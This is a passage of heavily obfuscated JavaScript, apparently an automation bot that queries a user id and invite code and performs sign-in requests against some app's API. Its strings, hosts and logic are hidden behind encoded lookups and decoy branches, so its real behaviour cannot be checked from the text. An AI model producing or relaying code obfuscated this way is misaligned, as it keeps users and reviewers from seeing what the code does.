$[_0x315a12(0x11b,0xad5,0x527,'\x58\x23\x51\x29',0x70d)][_0x21d0df(0x9a2,'\x6e\x76\x6d\x2a',0x2c1,0x29e,0x4bc)](_0x3b54bb)[_0x54f070(0xa96,0xa36,'\x76\x74\x36\x39',0x73d,0xd0b)](async _0x168e76=>{function _0x17c0ba(_0x5164b6,_0x47f2fb,_0x5c3711,_0xabbba5,_0x59a8d2){return _0x26ef16(_0xabbba5- -0x1e9,_0x59a8d2,_0x5c3711-0x1ee,_0xabbba5-0x52,_0x59a8d2-0xc5);}function _0x49d40d(_0x160e2c,_0x2531c1,_0xe266dd,_0x3c25ea,_0x5b17b0){return _0x26ef16(_0x5b17b0-0x19d,_0x3c25ea,_0xe266dd-0xd1,_0x3c25ea-0xd9,_0x5b17b0-0x10c);}function _0xa14c5d(_0x4ec892,_0x165cea,_0x13448a,_0x424d12,_0x407041){return _0x26ef16(_0x407041- -0x260,_0x4ec892,_0x13448a-0x11f,_0x424d12-0x1ee,_0x407041-0x1b1);}function _0xa6d1e7(_0x3e62cc,_0x4d9909,_0x1cbc5e,_0x339a0f,_0x372477){return _0x19ae3f(_0x372477,_0x4d9909- -0x1ec,_0x1cbc5e-0x17a,_0x339a0f-0xf0,_0x372477-0x1b3);}function _0x48b7a0(_0x5830ae,_0x36049f,_0x45afec,_0x555f0b,_0x5c5f74){return _0x26ef16(_0x45afec- -0x6b,_0x555f0b,_0x45afec-0xc8,_0x555f0b-0x21,_0x5c5f74-0xef);}if(_0x3a52c4[_0xa6d1e7(0x4a6,0x177,0x6d4,0x5e1,'\x6e\x46\x49\x33')](_0x3a52c4[_0xa6d1e7(0xb27,0x932,0xdd7,0x374,'\x6e\x46\x49\x33')],_0x3a52c4[_0x17c0ba(0x606,0x3cf,0xbf1,0xa2f,'\x67\x4d\x30\x75')])){let _0x592e3a=JSON[_0xa6d1e7(0xfce,0xcde,0x1029,0x11d0,'\x4d\x58\x52\x4d')](_0x168e76[_0x49d40d(0x9c5,0x598,0xb57,'\x41\x40\x62\x74',0x709)]);_0x3a52c4[_0xa6d1e7(0x49d,0xb2a,0x1003,0xecc,'\x5d\x5b\x48\x44')](_0x4c77e8,_0x592e3a);}else _0x1536e8[_0xa6d1e7(0xa2d,0x75a,0x40d,0x6fa,'\x43\x75\x73\x46')][_0x17c0ba(0x669,0xfa7,0x1229,0xc67,'\x24\x4b\x72\x6d')+_0x48b7a0(0x96c,0x2e3,0x5b9,'\x6e\x53\x58\x24',0x8d2)+'\x44\x45'][_0xa14c5d('\x4c\x34\x59\x31',0x6fa,0xe11,0xde9,0x92d)]('\x26')[_0xa6d1e7(0x11d,0x16c,-0x212,0x2a6,'\x50\x5d\x49\x57')+'\x63\x68'](_0xb81013=>{function _0x4321d5(_0x5a8238,_0x3e923b,_0x3ab37f,_0x25ac38,_0x5dc642){return _0x48b7a0(_0x5a8238-0x114,_0x3e923b-0x2f,_0x5a8238-0x300,_0x3e923b,_0x5dc642-0x1c6);}_0xb54dcd[_0x4321d5(0x1057,'\x5d\x6e\x6c\x64',0xbea,0x15a0,0xaa1)](_0xb81013);});});}else{let _0x9cb8f5=_0x337f17[_0x21d0df(-0x26f,'\x34\x4a\x59\x74',-0x134,0x4d7,-0xa0)](_0x39641f[_0x54f070(0x940,0x73d,'\x4e\x74\x35\x73',0xef2,0xc5a)]);if(_0x275129[_0x19ae3f('\x70\x4b\x21\x31',0xd1b,0x1094,0x11be,0x85a)](_0x9cb8f5[_0x315a12(0x185,0x2e8,0x7b5,'\x4c\x28\x57\x30',0xd26)+'\x74'],0x4a*0x8+0x7ec+-0xa3b))_0x402efa[_0x19ae3f('\x30\x31\x32\x62',0x695,0x1ff,0x314,-0xf)](_0x275129[_0x19ae3f('\x50\x5d\x49\x57',0xc20,0x620,0xc8f,0x6ca)](_0x275129[_0x26ef16(0x36b,'\x21\x33\x39\x77',-0x314,0x5a,0x200)](_0x275129[_0x54f070(0x91d,0x863,'\x5d\x79\x74\x33',0x966,0x4c4)](_0x275129[_0x54f070(0x799,0xe34,'\x64\x6f\x4e\x70',0xa7d,0x8a3)](_0x275129[_0x315a12(0x76c,0xc36,0x84b,'\x4c\x28\x57\x30',0x567)],_0x2eb975[_0x23e83a][_0x315a12(-0x299,-0x7e,0xe7,'\x54\x56\x24\x21',-0x4a0)+_0x19ae3f('\x34\x4a\x59\x74',0xad7,0x112d,0x9ed,0xcf6)]),'\x29'),_0x9cb8f5[_0x26ef16(0x74b,'\x5d\x5b\x48\x44',0x561,0xc9c,0xcaa)][_0x21d0df(0x543,'\x55\x4e\x28\x56',-0x51c,0x4c0,0xd2)+_0x54f070(0x972,0xd03,'\x24\x66\x56\x5d',0x99f,0x4cd)+'\x74']),_0x275129[_0x19ae3f('\x4e\x74\x35\x73',0x812,0xe77,0xb88,0x77b)]));else _0x1bc97e[_0x315a12(-0x28,0xa17,0x47e,'\x24\x4b\x72\x6d',0xe3)](_0x275129[_0x19ae3f('\x73\x28\x4d\x75',0xf0e,0x13ac,0xdf1,0x12ad)](_0x275129[_0x315a12(0x4d9,-0x303,0x188,'\x21\x2a\x37\x57',-0x148)],_0x9cb8f5[_0x21d0df(0x531,'\x73\x28\x4d\x75',0x94d,0x98f,0x668)+_0x315a12(0x5ff,-0x274,-0x4f,'\x31\x71\x6b\x4a',0x396)]));}}catch(_0x1477ef){_0x3a52c4[_0x19ae3f('\x5d\x6e\x6c\x64',0x2e0,-0x2b0,0x682,0x745)](_0x3a52c4[_0x21d0df(-0x668,'\x4d\x58\x52\x4d',0x227,-0x604,-0x109)],_0x3a52c4[_0x26ef16(0xeb7,'\x23\x4b\x6e\x33',0x137f,0x9ff,0x108d)])?_0x242e7f[_0x54f070(0xd24,0xfe7,'\x58\x23\x51\x29',0xea7,0x11f4)](_0x229d90):(console[_0x19ae3f('\x4a\x55\x45\x71',0xbdf,0x1098,0xd8f,0x6d2)](_0x3a52c4[_0x54f070(0x4f8,0x953,'\x6e\x76\x6d\x2a',0x56b,0x3c0)](_0x3a52c4[_0x19ae3f('\x6f\x65\x59\x78',0x45f,0x7c6,0x860,0x26a)],_0x1477ef)),_0x3a52c4[_0x21d0df(0x16c,'\x70\x4b\x21\x31',0x1a4,0xb78,0x84d)](_0x4c77e8,{}));}else{let _0x2d249f=_0x103977[_0x21d0df(0x49,'\x21\x33\x39\x77',0xbc8,0xdee,0x715)](_0x22731f[_0x315a12(0x7e1,-0x16a,0x1ab,'\x6e\x53\x58\x24',-0x44b)]);if(_0x3a52c4[_0x19ae3f('\x58\x23\x51\x29',0x4bc,0x4da,0xb2c,0x4a5)](_0x2d249f[_0x54f070(0xd2f,0x999,'\x5d\x6e\x6c\x64',0x902,0xbec)+'\x74'],0x733*0x3+-0x3*0x3f8+-0x1f0*0x5)){if(_0x3a52c4[_0x315a12(0x5af,0x963,0x622,'\x79\x45\x73\x4a',0xa6e)](_0x2d249f[_0x21d0df(0x1046,'\x45\x74\x4e\x68',0x3c2,0x4d8,0x9cc)][_0x26ef16(0xecd,'\x21\x2a\x37\x57',0x7eb,0x121f,0x1524)+_0x315a12(0x306,0x4a3,0x146,'\x4e\x74\x35\x73',0x166)+_0x54f070(0x753,0x530,'\x7a\x78\x28\x4e',0xd76,0x23c)][_0x315a12(0x824,-0x17c,0x4a9,'\x55\x4e\x28\x56',0x7a6)+'\x68'],-0x3*0x257+-0x85a+0xf5f))_0x2f4fac=_0x2d249f[_0x26ef16(0x964,'\x21\x2a\x37\x57',0xcd5,0x2ff,0x5e9)][_0x26ef16(0xec5,'\x61\x4c\x56\x47',0x10b2,0x13ed,0x993)+_0x54f070(0x6af,0xa42,'\x24\x66\x56\x5d',-0x21,0xd33)+_0x19ae3f('\x4c\x28\x57\x30',0xef9,0x146e,0xa67,0x83e)][0x25a9+0x20f+-0x27b8][_0x21d0df(0xcdf,'\x5b\x35\x69\x4f',0x908,0x8f4,0xade)][0x77c*-0x2+-0x1*0x1ff3+0x2eeb],_0x1e9fd7[_0x19ae3f('\x51\x50\x65\x2a',0xcd4,0x10f7,0xecd,0x896)](_0x3a52c4[_0x21d0df(0x4e0,'\x6b\x72\x35\x76',-0x2f,-0x154,0x4fc)](_0x3a52c4[_0x54f070(0x89d,0x908,'\x41\x40\x62\x74',0x908,0xc7a)],_0x131322));else _0x1ee736[_0x315a12(0x860,0x779,0x209,'\x4e\x74\x35\x73',0x694)](_0x3a52c4[_0x19ae3f('\x51\x50\x65\x2a',0x235,-0x298,0x8d6,0x60e)]);}else _0x526db2[_0x54f070(0x82b,0x7cc,'\x76\x74\x36\x39',0x987,0xdaf)](_0x3a52c4[_0x21d0df(0x9de,'\x7a\x78\x28\x4e',-0x111,0x732,0x598)](_0x3a52c4[_0x26ef16(0x477,'\x46\x42\x49\x42',0x1f8,0x6cd,0x535)],_0x2d249f[_0x54f070(0x7e3,0x15a,'\x4c\x28\x57\x30',0x358,0xe4c)+_0x54f070(0xace,0xff8,'\x21\x6e\x65\x4c',0xf5f,0xd7b)]));}});}async function queryUserid(){const _0x2e2ecb={'\x4c\x6a\x42\x47\x4c':function(_0x3303f6,_0x3946c1){return _0x3303f6===_0x3946c1;},'\x48\x58\x55\x75\x62':_0x4f50bd(0x6de,-0x2fd,0x181,-0xf6,'\x23\x4b\x6e\x33'),'\x63\x46\x54\x4b\x68':_0x4f50bd(0x10e4,0x58f,0xaeb,0x698,'\x46\x42\x49\x42'),'\x6c\x47\x42\x77\x52':function(_0x417a03,_0x1cbfe7){return _0x417a03==_0x1cbfe7;},'\x4b\x47\x50\x4c\x62':function(_0x5beb4c,_0x368065){return _0x5beb4c+_0x368065;},'\x53\x4d\x4d\x72\x46':_0x18c934(0x843,0xf6e,0x9db,0x3ef,'\x31\x71\x6b\x4a')+'\x3a','\x79\x65\x4d\x6e\x4d':function(_0x47a2a2){return _0x47a2a2();},'\x43\x73\x73\x48\x78':_0x221795(-0x285,0x395,'\x30\x29\x35\x70',0x966,0x54e)+_0x4f50bd(0x809,0x1d0,0x34a,0x8fd,'\x24\x4b\x72\x6d'),'\x6b\x68\x6f\x5a\x7a':function(_0xe6f29f){return _0xe6f29f();},'\x73\x47\x74\x54\x78':function(_0x502d14,_0x2c4612){return _0x502d14>_0x2c4612;},'\x67\x67\x42\x75\x57':function(_0x5507cd,_0x658f8e){return _0x5507cd+_0x658f8e;},'\x70\x47\x78\x4a\x4e':_0x221795(0x574,0x737,'\x41\x6e\x41\x53',0x6cb,0x3f8)+_0x221795(0x1fb,-0x94,'\x41\x6e\x41\x53',0x3ab,0xbb)+'\u5931\u8d25','\x58\x41\x5a\x4d\x7a':function(_0x1f743c,_0x59eb7f){return _0x1f743c+_0x59eb7f;},'\x6e\x57\x55\x6c\x70':_0x221795(0xecd,0xb0e,'\x6f\x65\x59\x78',0x105b,0x7cb)+_0x18c934(0x146,-0x354,0x378,0x823,'\x45\x74\x4e\x68'),'\x4e\x66\x4e\x68\x41':function(_0x4af539,_0x20db47){return _0x4af539(_0x20db47);},'\x59\x77\x47\x41\x6b':_0x4f50bd(0x606,0x720,0x9a3,0x6ef,'\x51\x50\x65\x2a'),'\x6b\x48\x61\x47\x51':_0x2f1fea('\x46\x42\x49\x42',0xbbb,0xae0,0x7df,0xc3b),'\x4b\x66\x67\x78\x56':function(_0x33ce31,_0x1ce03d,_0x137aae){return _0x33ce31(_0x1ce03d,_0x137aae);},'\x74\x6d\x74\x4b\x51':_0x221795(-0xde,0x597,'\x49\x29\x49\x39',0x53a,0xaa7)+_0x221795(0x253,0x74d,'\x6c\x54\x48\x57',0x3e7,0x937)+_0x4f50bd(-0x308,-0x32c,0x22a,0x6b3,'\x6c\x54\x48\x57')+_0x5e98fe(0x343,0x7ef,0x590,0x9e8,'\x76\x74\x36\x39')+_0x4f50bd(0xe22,0x807,0x752,0xded,'\x76\x74\x36\x39')+_0x4f50bd(0x314,0x896,0x4e3,0x359,'\x6e\x46\x49\x33')+_0x4f50bd(0x531,0x58c,0x445,0xb07,'\x56\x55\x65\x45')+_0x4f50bd(0x4d6,0x15a,0x806,0x5f5,'\x31\x71\x6b\x4a')+_0x18c934(0xdc6,0xa2c,0xd28,0x109b,'\x6f\x65\x59\x78')+_0x5e98fe(0xe60,0x122f,0xe6f,0x1351,'\x24\x4b\x72\x6d')+_0x2f1fea('\x41\x6e\x41\x53',0x8fc,0x6e1,0x56b,0xdc9)+_0x221795(-0x64d,-0x98,'\x54\x56\x24\x21',0x44,0x11e)+_0x4f50bd(0x5e8,0xe33,0x7e0,0xd24,'\x4a\x55\x45\x71'),'\x50\x4d\x66\x53\x78':_0x18c934(0xe77,0x1122,0xc1a,0x5dc,'\x24\x66\x56\x5d')+_0x5e98fe(0xbff,0xb3b,0xd5c,0x1102,'\x5b\x35\x69\x4f')+_0x221795(-0x1f9,0x35b,'\x79\x45\x73\x4a',0x2eb,0x203)+_0x221795(0x82,0x1b,'\x56\x55\x65\x45',-0x67a,-0x3e9)+_0x18c934(0x10e4,0x10a6,0xe30,0x8b1,'\x55\x4e\x28\x56')+_0x5e98fe(0x3c1,0x12d,0x3fe,0x9c4,'\x31\x71\x6b\x4a')+_0x221795(-0x1dd,0x228,'\x6b\x72\x35\x76',0x16,0x463)+_0x221795(0xff,0x2df,'\x45\x55\x66\x55',-0x37d,0x856)+_0x5e98fe(0xebd,0x1535,0xbce,0xe1e,'\x23\x4b\x6e\x33')+_0x221795(-0x7e3,-0x112,'\x51\x50\x65\x2a',0x56a,-0xba)+_0x4f50bd(0x6ba,0xb34,0x5b9,0x163,'\x6e\x76\x6d\x2a'),'\x6f\x56\x70\x6e\x6e':function(_0x221c20,_0x611cc1){return _0x221c20!==_0x611cc1;},'\x77\x47\x6d\x42\x59':_0x2f1fea('\x4e\x74\x35\x73',0x2a7,-0x2a,-0x36c,0x6f1),'\x66\x4a\x43\x59\x45':_0x4f50bd(0x4d0,-0x69,0x2a3,0x201,'\x6b\x72\x35\x76')};function _0x18c934(_0x228961,_0x46298f,_0x449476,_0xd4c560,_0xb85cdc){return _0x14621e(_0x449476-0x36a,_0xb85cdc,_0x449476-0x11d,_0xd4c560-0x119,_0xb85cdc-0xc4);}function _0x2f1fea(_0x4b66c1,_0x54ddcf,_0x2ab047,_0x5c7361,_0x22aa06){return _0x14621e(_0x54ddcf-0x1ad,_0x4b66c1,_0x2ab047-0x1ed,_0x5c7361-0xe1,_0x22aa06-0x1b5);}function _0x5e98fe(_0x470455,_0x17339f,_0x2e6ecc,_0x414a10,_0x2f1b94){return _0x14621e(_0x470455-0x309,_0x2f1b94,_0x2e6ecc-0x11a,_0x414a10-0x105,_0x2f1b94-0x16b);}function _0x221795(_0x5a0f28,_0x2494c9,_0x3763f3,_0x5d6a3a,_0x3f50cc){return _0x14621e(_0x2494c9- -0x221,_0x3763f3,_0x3763f3-0x9c,_0x5d6a3a-0x13e,_0x3f50cc-0x103);}function _0x4f50bd(_0x39188c,_0xdf10f8,_0x2e9f13,_0x241a96,_0x5f3674){return _0x14621e(_0x2e9f13-0x5f,_0x5f3674,_0x2e9f13-0x126,_0x241a96-0x13,_0x5f3674-0x1c2);}return new Promise(async _0x11e923=>{function _0x4d4d73(_0x2ac82a,_0x293b69,_0x29e8f0,_0x507b8a,_0x1c582d){return _0x5e98fe(_0x293b69-0x1f0,_0x293b69-0x43,_0x29e8f0-0x1bf,_0x507b8a-0x2e,_0x1c582d);}const _0x54918e={'\x57\x48\x4b\x7a\x58':function(_0x5e431d,_0x447790){function _0xb67582(_0x92e22c,_0x5e0912,_0x21b3dd,_0x6d8f8a,_0x91b1ee){return _0x4a4e(_0x5e0912-0x3d5,_0x6d8f8a);}return _0x2e2ecb[_0xb67582(0x7ff,0x923,0x2a3,'\x44\x5d\x71\x6c',0x65f)](_0x5e431d,_0x447790);},'\x4e\x44\x4c\x6e\x7a':function(_0xdbbd38,_0x14450b){function _0x165caa(_0x596047,_0x1ea111,_0x2ec064,_0x5761dd,_0x54485f){return _0x4a4e(_0x5761dd- -0x382,_0x2ec064);}return _0x2e2ecb[_0x165caa(0xa86,0xb99,'\x5b\x35\x69\x4f',0x9cf,0xb4b)](_0xdbbd38,_0x14450b);},'\x44\x41\x53\x49\x51':function(_0x4f2c0e,_0x250aed){function _0x1ed355(_0x2b3c1e,_0x42ea72,_0x1e4b56,_0x29cd0b,_0x1b9111){return _0x4a4e(_0x29cd0b- -0x1ea,_0x1e4b56);}return _0x2e2ecb[_0x1ed355(0x916,0x45d,'\x4c\x34\x59\x31',0x2b7,0x670)](_0x4f2c0e,_0x250aed);},'\x49\x62\x44\x6e\x46':_0x2e2ecb[_0x57db46(0xa14,'\x24\x66\x56\x5d',0x7be,0x336,0xbf6)],'\x4c\x76\x61\x4f\x45':_0x2e2ecb[_0x57db46(0x28f,'\x4a\x55\x45\x71',-0x34a,-0x170,0x8fc)],'\x6a\x79\x61\x4e\x6c':function(_0xe6ae1,_0x2818cf){function _0x1c736e(_0xf2782b,_0x9c6a25,_0x22029a,_0x37e7dc,_0x151874){return _0x257900(_0xf2782b-0x60,_0x9c6a25-0xcc,_0xf2782b- -0xa4,_0x37e7dc-0x5b,_0x151874);}return _0x2e2ecb[_0x1c736e(0xa39,0xfad,0xa9f,0xdb3,'\x41\x6e\x41\x53')](_0xe6ae1,_0x2818cf);},'\x41\x63\x6a\x49\x63':_0x2e2ecb[_0x257900(0x953,0x3a0,0x66b,0x651,'\x45\x64\x30\x4a')],'\x73\x73\x64\x66\x72':function(_0x7e0b65,_0x9107fb){function _0x5ec0d8(_0x302ee5,_0x191874,_0x2748cb,_0x44cd79,_0x396a96){return _0x4d4d73(_0x302ee5-0xf8,_0x302ee5- -0x66c,_0x2748cb-0x15f,_0x44cd79-0x1ee,_0x44cd79);}return _0x2e2ecb[_0x5ec0d8(-0x174,0x570,-0x510,'\x24\x66\x56\x5d',0x559)](_0x7e0b65,_0x9107fb);}};function _0x57db46(_0x55df4c,_0x330ddf,_0x377c30,_0x3701ac,_0x4f17c3){return _0x5e98fe(_0x55df4c- -0x334,_0x330ddf-0x136,_0x377c30-0x195,_0x3701ac-0x4e,_0x330ddf);}function _0x257900(_0x2ffd55,_0x19d4b6,_0x4df73f,_0x49da28,_0x18a89f){return _0x221795(_0x2ffd55-0x143,_0x4df73f-0x604,_0x18a89f,_0x49da28-0x15f,_0x18a89f-0xc3);}function _0x5c6bff(_0x1cac44,_0x5de243,_0x5f13bb,_0xcc999e,_0x104576){return _0x18c934(_0x1cac44-0x4c,_0x5de243-0x1b3,_0x1cac44- -0x472,_0xcc999e-0x51,_0xcc999e);}function _0x38eb7c(_0x5199f2,_0x3183d1,_0x4544ce,_0x1dd15c,_0x4a7610){return _0x5e98fe(_0x1dd15c- -0x9b,_0x3183d1-0x198,_0x4544ce-0x1a9,_0x1dd15c-0x69,_0x5199f2);}if(_0x2e2ecb[_0x4d4d73(0xe08,0x11c1,0x15b6,0x163e,'\x5b\x35\x69\x4f')](_0x2e2ecb[_0x257900(0xdf5,0xca3,0xd7b,0x1381,'\x6e\x76\x6d\x2a')],_0x2e2ecb[_0x57db46(0x465,'\x21\x6e\x65\x4c',0x5f3,0x38a,0x51f)]))try{if(_0x2e2ecb[_0x5c6bff(0x5af,0x211,0xb52,'\x45\x55\x66\x55',0x1fe)](_0x2e2ecb[_0x5c6bff(0xb49,0xf79,0x60c,'\x61\x4c\x56\x47',0x87e)],_0x2e2ecb[_0x257900(0xfe9,0xf94,0xbe5,0xb60,'\x45\x74\x4e\x68')])){let _0x2e1263=_0x2e2ecb[_0x257900(0xb7b,0x11d4,0xc04,0xd08,'\x70\x4b\x21\x31')](urlTask,_0x2e2ecb[_0x38eb7c('\x4a\x55\x45\x71',0xbbb,0xad2,0xddb,0xc47)],_0x2e2ecb[_0x5c6bff(0x766,0xa38,0xded,'\x41\x6e\x41\x53',0x5fd)]);await $[_0x257900(0x1323,0x121d,0x101f,0x1700,'\x56\x6b\x71\x37')][_0x257900(0x574,0x803,0x41a,0x92e,'\x79\x45\x73\x4a')](_0x2e1263)[_0x57db46(0x12f,'\x5d\x5b\x48\x44',-0x578,-0x469,-0x598)](async _0x26d40c=>{function _0x2f685b(_0x2cfe44,_0x5b825f,_0x4e5e34,_0x2fa93f,_0x46fc7a){return _0x257900(_0x2cfe44-0x1,_0x5b825f-0xb9,_0x2fa93f- -0x331,_0x2fa93f-0x130,_0x5b825f);}function _0x3c897d(_0x77693f,_0x5c4256,_0x575347,_0x1ad819,_0x24d5d4){return _0x257900(_0x77693f-0x81,_0x5c4256-0x1b2,_0x575347- -0x402,_0x1ad819-0x19b,_0x77693f);}function _0x1db193(_0x1f4fec,_0x546aa2,_0x312d00,_0x21af71,_0x3bf7cc){return _0x257900(_0x1f4fec-0x3d,_0x546aa2-0x4b,_0x1f4fec- -0x3d4,_0x21af71-0xac,_0x546aa2);}function _0x1597d6(_0x126f52,_0x54e76c,_0x364df7,_0x33a901,_0x402431){return _0x4d4d73(_0x126f52-0x149,_0x33a901- -0x50a,_0x364df7-0x176,_0x33a901-0x2e,_0x364df7);}function _0xcdaee(_0x1bff89,_0x33f27b,_0x5b1dc5,_0x3458fe,_0x428c3a){return _0x4d4d73(_0x1bff89-0xd4,_0x1bff89- -0x265,_0x5b1dc5-0x28,_0x3458fe-0x116,_0x5b1dc5);}if(_0x2e2ecb[_0x1db193(0xaf6,'\x6e\x76\x6d\x2a',0x9b1,0x7e1,0xec0)](_0x2e2ecb[_0xcdaee(0xba3,0x96c,'\x56\x6b\x71\x37',0xde8,0xedd)],_0x2e2ecb[_0xcdaee(0x3b1,-0x330,'\x21\x6e\x65\x4c',-0x11f,-0x22d)]))_0x53abbe=_0x319633[_0x1db193(0x8a9,'\x6c\x54\x48\x57',0x679,0x469,0x30b)][_0x3c897d('\x4c\x34\x59\x31',0x68b,0x278,-0x163,0x7e6)+_0x3c897d('\x46\x42\x49\x42',-0x14e,0x4b5,0x674,0x26f)][_0xcdaee(0x6ba,0xd99,'\x45\x74\x4e\x68',0x6d2,0x6bc)]('\x0a');else{let _0x30d4fd=JSON[_0x3c897d('\x30\x31\x32\x62',0x349,0x547,0x171,0x394)](_0x26d40c[_0xcdaee(0x4b5,0xb8d,'\x43\x75\x73\x46',0x719,0xa15)]);if(_0x2e2ecb[_0x2f685b(-0xe6,'\x50\x5d\x49\x57',0x27d,0x1ea,-0x212)](_0x30d4fd[_0x1db193(0x79,'\x79\x45\x73\x4a',-0x51c,0x2f4,-0x44c)+'\x74'],-0x214a+0xc*0x235+0x6cf))inviteCode=_0x30d4fd[_0x2f685b(0x46b,'\x34\x4a\x59\x74',0x812,0x63c,0xc83)][_0x1db193(0xa01,'\x45\x55\x66\x55',0xd39,0x10e2,0xa88)+_0x2f685b(0x96e,'\x6e\x53\x58\x24',0x529,0xbf5,0x116a)],userid=_0x30d4fd[_0xcdaee(0x6c9,0x345,'\x5d\x79\x74\x33',0x87d,0x44f)][_0x3c897d('\x6e\x53\x58\x24',0x2ec,0x218,0x654,-0x2e8)+'\x64'];else console[_0x3c897d('\x56\x6b\x71\x37',0x614,0x6f2,0x483,0xcd8)](_0x2e2ecb[_0xcdaee(0x80e,0x884,'\x21\x6e\x65\x4c',0xcfb,0x2a2)](_0x2e2ecb[_0x1597d6(0x7c8,0xe1c,'\x49\x29\x49\x39',0xce9,0x823)],_0x30d4fd[_0xcdaee(0x7d4,0xca7,'\x6e\x53\x58\x24',0x3b8,0x5b1)+_0x1597d6(0xa13,0x638,'\x44\x5d\x71\x6c',0xb2c,0xb1e)]));_0x2e2ecb[_0x3c897d('\x23\x4b\x6e\x33',-0xc7,0x41e,0x4dc,0x43)](_0x11e923);}});}else{let _0xfcb00b=_0x867c43[_0x5c6bff(-0x1f,-0x403,-0x224,'\x55\x4e\x28\x56',0x6f)](_0x3de22a[_0x57db46(0x2c8,'\x24\x66\x56\x5d',0x66a,-0xf9,0x70)]);if(_0x54918e[_0x5c6bff(0xb85,0x10e3,0xf80,'\x21\x2a\x37\x57',0xd59)](_0xfcb00b[_0x4d4d73(0x936,0x8f5,0x605,0x3b5,'\x41\x6e\x41\x53')+'\x74'],-0x22d5+-0x3*-0xa82+0x350)){if(_0x54918e[_0x57db46(0x73d,'\x4f\x6f\x72\x35',0xb08,0x256,0x253)](_0xfcb00b[_0x257900(0x699,0x104e,0xc17,0x9a7,'\x45\x64\x30\x4a')][_0x4d4d73(0xc5b,0x11c3,0x17e9,0x1619,'\x21\x2a\x37\x57')+_0x5c6bff(0x6da,0x63a,0xcda,'\x79\x45\x73\x4a',0x66)+_0x257900(0x45c,0x4e1,0x5c0,0xa,'\x21\x33\x39\x77')][_0x4d4d73(0x8b9,0x82f,0x34e,0x4ab,'\x24\x4b\x72\x6d')+'\x68'],0x11*-0x85+0x1b02*-0x1+0x23d7))_0x101c3a=_0xfcb00b[_0x38eb7c('\x4d\x58\x52\x4d',0x77a,0x5a8,0xace,0x795)][_0x38eb7c('\x6b\x72\x35\x76',0x844,0xd22,0xbc2,0x119c)+_0x4d4d73(0x1114,0x124a,0x1602,0xc28,'\x46\x42\x49\x42')+_0x5c6bff(0x229,0x713,-0x21b,'\x51\x50\x65\x2a',-0x26c)][-0x2057*-0x1+-0x4d*0x57+-0x62c][_0x5c6bff(0x79d,0xc8a,0xa98,'\x7a\x78\x28\x4e',0x9e4)][-0x1316+-0xb78+-0xf47*-0x2],_0x2b0ad8[_0x5c6bff(0x8b0,0xec7,0xd57,'\x41\x40\x62\x74',0x3a4)](_0x54918e[_0x4d4d73(0xc30,0x9f4,0x1092,0xff8,'\x45\x55\x66\x55')](_0x54918e[_0x5c6bff(0x65d,0x11d,0xc32,'\x45\x55\x66\x55',0x389)],_0x2fa8f9));else _0x50472d[_0x38eb7c('\x55\x4e\x28\x56',0xe1b,0x5ee,0xa91,0xc79)](_0x54918e[_0x257900(0x95f,0xcb,0x43e,-0x236,'\x4d\x58\x52\x4d')]);}else _0x991f4b[_0x38eb7c('\x4c\x34\x59\x31',0x183,0xd8e,0x85c,0x890)](_0x54918e[_0x5c6bff(-0x106,-0x351,-0x7e5,'\x55\x4e\x28\x56',-0x31b)](_0x54918e[_0x257900(0xf28,0xa24,0xf7c,0xe09,'\x49\x29\x49\x39')],_0xfcb00b[_0x38eb7c('\x70\x4b\x21\x31',0xccc,0x5bd,0xbe2,0xfe4)+_0x57db46(0x6ee,'\x76\x74\x36\x39',0xb7f,0x172,0x533)]));}}catch(_0x110343){_0x2e2ecb[_0x5c6bff(0x696,0x810,0x2ed,'\x55\x4e\x28\x56',0x541)](_0x2e2ecb[_0x257900(0x3b4,0x351,0x891,0xe4f,'\x6e\x53\x58\x24')],_0x2e2ecb[_0x4d4d73(0x843,0x7ed,0xd22,0x32c,'\x56\x55\x65\x45')])?(console[_0x257900(0x7a7,0x822,0x45c,0x950,'\x6b\x72\x35\x76')](_0x2e2ecb[_0x257900(0x1099,0xe58,0xc81,0xca7,'\x31\x71\x6b\x4a')](_0x2e2ecb[_0x38eb7c('\x30\x31\x32\x62',0xb05,0x117d,0xf7c,0xb57)],_0x110343)),_0x2e2ecb[_0x57db46(0x6d3,'\x70\x4b\x21\x31',0x32e,0xc1,0x61d)](_0x11e923)):(_0x596e8a[_0x257900(0xed4,0xeb6,0xb00,0xbd2,'\x6e\x53\x58\x24')](_0x54918e[_0x5c6bff(0x35b,-0x56,0x631,'\x6e\x76\x6d\x2a',0x99a)](_0x54918e[_0x57db46(0xc7d,'\x6c\x54\x48\x57',0xc09,0x7b8,0x8f5)],_0x56ddb)),_0x54918e[_0x257900(0xf78,0xf8e,0xa0b,0x98f,'\x5b\x35\x69\x4f')](_0x235741,{}));}else _0x45c67a[_0x5c6bff(0xa2e,0xa43,0x9a1,'\x51\x50\x65\x2a',0x53f)](_0x2e2ecb[_0x38eb7c('\x73\x28\x4d\x75',0xad6,0x98c,0x5c7,0xa59)](_0x2e2ecb[_0x5c6bff(0xc29,0xf0d,0x973,'\x6b\x72\x35\x76',0xa25)],_0x45752d)),_0x2e2ecb[_0x4d4d73(0x345,0x5f0,0x5c3,0x2fa,'\x4c\x28\x57\x30')](_0x2dab39);});}async function sign(){function _0x5d50ea(_0x58fcae,_0x3597a8,_0x771b94,_0x5ad84e,_0x4c2eb2){return _0x38128f(_0x58fcae-0x192,_0x3597a8-0x6c,_0x771b94-0x13b,_0x5ad84e,_0x3597a8-0x714);}function _0x2ea10f(_0x5907ee,_0x1cfadc,_0x523d76,_0x4d04fe,_0xc4272c){return _0x38128f(_0x5907ee-0x65,_0x1cfadc-0x8c,_0x523d76-0x1cb,_0x5907ee,_0x4d04fe-0x392);}function _0x4f47e1(_0x7edb87,_0x3ac158,_0x5deb84,_0x4c333e,_0x4eb4d8){return _0x14621e(_0x7edb87-0x436,_0x4eb4d8,_0x5deb84-0x14b,_0x4c333e-0x1aa,_0x4eb4d8-0x62);}function _0x160f98(_0x2e24d4,_0x50d107,_0x5c8d5e,_0x413f74,_0x20b9c6){return _0x14621e(_0x20b9c6-0x363,_0x2e24d4,_0x5c8d5e-0x16f,_0x413f74-0x24,_0x20b9c6-0x90);}function _0x1525fc(_0x144ad9,_0x4e045e,_0x3e3ddb,_0x3be351,_0x34939f){return _0x14621e(_0x34939f-0x502,_0x3e3ddb,_0x3e3ddb-0x59,_0x3be351-0x2e,_0x34939f-0x120);}const _0x3a796d={'\x48\x73\x6c\x70\x43':function(_0x386e22,_0x43e996){return _0x386e22==_0x43e996;},'\x52\x71\x58\x59\x41':function(_0x4582ed,_0x32fa83){return _0x4582ed>_0x32fa83;},'\x6e\x42\x57\x55\x49':function(_0x3d3d8a,_0x2fae8f){return 